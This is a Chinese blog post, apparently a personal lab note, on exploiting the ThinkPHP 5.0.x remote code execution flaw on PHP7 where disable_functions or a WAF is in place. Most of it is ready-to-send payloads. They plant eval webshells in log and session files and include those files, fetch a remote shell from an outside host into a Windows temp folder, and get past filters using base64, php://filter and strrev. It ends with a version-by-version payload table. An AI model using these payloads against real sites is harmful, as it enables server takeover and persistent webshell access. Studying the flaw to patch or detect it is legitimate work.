zoukankan      html  css  js  c++  java
  • ThinkPHP5.0.X RCE PHP7 利用方式

    这篇笔记分类总结了在 php7 并且有 disable_funtion 或waf 的环境下如何利用 thinkphp5.0.x 的 rce。第六节只归纳出打印 phpinfo 或执行 calc 的 payload,详细写 shell 的 payload 根据不同的过滤强度记录在 3.1、3.2、3.3、4.1、4.2 小节的复现过程中。笔记参考了很多师傅的博客,只是自己理顺思路、复现漏洞的记录,所有参考文章已贴在最后。(这篇随笔就是上篇搭环境提到的学长的任务)

    一、实验环境

    二、基本流程分析

    thinkphp5.0.5 和 thinkphp5.0.22 的代码在基本流程上没有区别,这里以 5.0.22 版本为例进行代码分析,由于 thinkphp 框架的请求都先经过 public/index.php,index.php 首先定义了 APP_PATH 常量,是 application 文件夹的路径,接着包含了框架引导文件 start.php

    跟进 start.php,包含了一个 base.php 加载基础文件,然后调用 App::run()->send() 来执行应用

    跟进 base.php,先是定义了一些 thinkphp 中用到的常量,然后载入 Loader 类、加载环境变量配置文件、注册自动加载、注册错误和异常处理机制、加载惯例配置文件

    跟进注册自动加载的 register 函数

    接着跟进 Loder::autoload() 函数,关键代码在 82 行的 findFile($class) 函数查找类,85 行的 __indlue__file($file) 将找到的文件包含进来实现自动加载

    所以在 thinkphp5.0.x+php7 的实战环境下,当 disable_function 限制了大量函数的时候,可以调用 Loader.php 中的 __include__file 来包含一些日志文件或者 session 文件来 getshell。

    三、包含日志getshell

    3.1本地复现(5.0.5)

    thinkphp5.0.5 环境下复现,打印 phpinfo

    /index.php?s=captcha
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

    写 shell 到日志文件中

    /index.php?s=captcha
    _method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['apple']); ?>

    包含日志文件 getshell

    /index.php?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=phpinfo();

    但是由于一句话和日志混在一起的,日志基本很大,还可能写入令 php 解析错误的垃圾数据,所以通过一句话 copy 新一句话文件

    /?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=echo copy("https://www.xxx.com/1.txt","D:/Major/phpstudy_pro/WWW/thinkphp_5.0.5_full/ant.php");

    但是如果有严格的安全限制,比如不能含有 eval 等、日志文件很快被覆盖、网站目录被设置防篡改无法写入文件,这时的思路是,把一个远程 shell 写入可写目录,再去包含真正的 shell,即可绕过。首先在远程开一个 httpserver,加一层 url 编码防止被拦截,把 shell 写入 C:WindowsTemp 目录

    /?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=file_put_contents(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70%5C%61%6E%74"),fopen("https://www.xxx.com/1.txt",'r'));

    查看一下木马,确定成功写入,因为直接 var_dump(scandir('C:WindowsTemp')) 可能会被拦截,所以借助中间变量绕过

    /?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=$a="var_dump";$a(scandir(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70")));

    然后再次包含 C:WindowsTempant

    /?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=C:WindowsTempant&ant=phpinfo();

    如果 thinkphp5.0.5 版本不是完整版,没有 captcha 路由,post 地址为 /index.php/index 也可以包含日志 getshell

    /index.php/index
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

    3.2本地复现(5.0.22开启debug)

    在 application/config.php 文件中开启 debug

    打印 phpinfo(这里的 phpinfo 信息不完整)

    /index.php/index
    _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111

    读取日志

    /index.php/index
    _method=__construct&filter[]=readfile&server[REQUEST_METHOD]=../runtime/log/202012/04.log

    写 shell 到日志文件中

    /index.php/index
    _method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>

    包含日志文件 getshell

    /index.php/index
    _method=__construct&filter[]=think\__include_file&server[REQUEST_METHOD]=../runtime/log/202012/04.log&cmd=phpinfo();

    3.3本地复现(5.0.22)

    有 captcha 路由时,无需开启 debug 即可 getshell

    /index.php?s=captcha
    _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111&method=get

    写 shell 到日志文件中、包含日志文件 getshell 步骤与 3.1、3.2 小节同理,这里就不重复实验了。

     

    四、包含session文件getshell

    4.1本地复现(简单模式)

    经实验 thinkphp5.0.5 和 5.0.22 版本都可以复现,这里以 5.0.5 版本的截图为例,首先找到目标 session 保存的位置,一般在 phpinfo 的 session.save_path 有记录

    /index.php?s=captcha
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

    写 shell 到 session 中

    /index.php?s=captcha
    Cookie: PHPSESSID=505test
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1

    包含 session 文件 getshell

    /index.php?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&get[]=D:Majorphpstudy_proExtensions	mp	mpsess_505test&server[]=1&cmd=passthru('ipconfig');

    4.2本地复现(困难模式)

    但如果 disable_function 禁用了很多函数,并且有 waf,拦截了以下内容

    php标记:
    <?php
    <?=
    <?
    
    php函数:
    base64_decode
    file_get_contents
    convert_uuencode
    
    关键字:
    php://

    绕过 php 标记的思路为,对将要写入 session 文件的一句话木马编码

    PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
    <?php @eval($_GET['r']);;?>

    因为最终的利用是通过 inlcude 方法进行包含,所以想到可以利用 php://filter/read=convert.base64-decode/resource=D:/Major/phpstudy_pro/Extensions/tmp/tmp/sess_505test2 的方式进行解码,但是 session 里面会包含其他字符,谈一谈php://filter的妙用 文章有谈到如何构造合适的字符,使得 webshell 能够正确被 base64 解码。所以设置 session 为

    POST /?s=captcha
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

    (注意:

    • 这里的 + 号需要用 urlencode 编码为 %2b,不然会在写入 session 的时候被 urldecode 为空格,导致编码解码失败
    • 用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 解码后为 <?php @eval($_GET['r']);;?> 而不用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 解码后为 <?php @eval($_GET['r']);?> 的原因是直接使用前者无论怎么拼凑字符,都没法正常解码
    • payload 前后有两个 ab 是为了让 shell payload 的前后两串字符串满足 base64 解码的长度,使其能正常解码

    绕过 php:// 关键字需要审计源码的 Request.php 的 filterValue 方法是如何执行代码的,/thinkphp/library/think/Request.php 的 $value = call_user_func($filter, $value); 打断点,post 如下数据发现 filter 是可以传递多个的,同时参数为引用传递

    /index.php?s=captcha
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

    所以可以传递多个 filter 来对 value 进行多次传递处理,如先 base64_decode 后再将解码后的值传递给 include 进行包含,又因为 waf 对 base64_decode 这个函数进行了过滤的,可以多传递一个参数使用 strrev 反转函数绕过

    <?php @eval(base64_decode($_GET['r']));;?>
    base64:
    PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8+
    urlencode编码:
    PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2b

    最终用 php://filter、base64 两次编码和 strrev() 反转函数绕过,写 shell 到 session 中

    /index.php/?s=captcha
    Cookie: PHPSESSID=505test2
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

    包含 session 文件 getshell

    /index.php/?s=captcha&r=cGhwaW5mbygpOw==
    _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/pmt/snoisnetxE/orp_ydutsphp/rojaM/:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

    五、代码分析

    ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析 分析了漏洞的成因和 poc 的构造,又由于 thinkphp<=5.0.12 和 5.0.12<thinkphp<5.0.24 版本在实现细节上有一些不同,导致漏洞利用方式不同,所以 5.0.13 版本之后通常需要开启 debug 才能 rce,Thinkphp5 RCE总结 列举了各个版本的 rce,比较分析了 5.0.5 和 5.0.22 的版本和 debug 选项的关系。(师傅们是最强的!我再好好学学 php 一定跟一遍!)

    六、payload总结

    thinkphp<=5.0.12 时 payload 如下

    /index.php?s=captcha
    /index.php/index(无captcha路由)
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

    5.0.12<thinkphp<5.0.24 并开启 debug 时 payload 如下

    ?s=index/index
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

    5.0.12<thinkphp<5.0.24 有 captcha 路由,无需开启 debug 时 payload 如下

    ?s=captcha
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

    参考文章

    https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247484802&idx=1&sn=7db0b7acc809bc312f4ad89a718cd2d7

    https://blog.csdn.net/qq_41891666/article/details/109505570

    https://www.mrwu.red/web/3348.html

    http://www.0x3.biz/tag/ThinkPHP5%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

    https://www.cnblogs.com/whoami101/archive/2004/01/13/13364884.html

    https://forum.90sec.com/t/topic/704

    https://www.leavesongs.com/PENETRATION/php-filter-magic.html

    https://www.cnblogs.com/timelesszhuang/p/3682767.html

    https://xz.aliyun.com/t/6106

    https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

  • 相关阅读:
    POJ 2244 Eeny Meeny Moo (约瑟夫环问题)
    PHP中JavaScript使用的一个问题
    PHP和JavaScript跨域调用
    ExtJS中tree结合PHP的简单示例
    ExtJS中的Grid分页
    PHP、Smarty与jQuery Ajax 分页插件jquery.pager.js的使用
    jQuery版本不同及多次引用问题
    强大的Ext JS
    关于PHP中查询返回结果集和对象问题
    PHP中PDO方法fetch参数问题
  • 原文地址:https://www.cnblogs.com/wkzb/p/14156026.html
Copyright © 2011-2022 走看看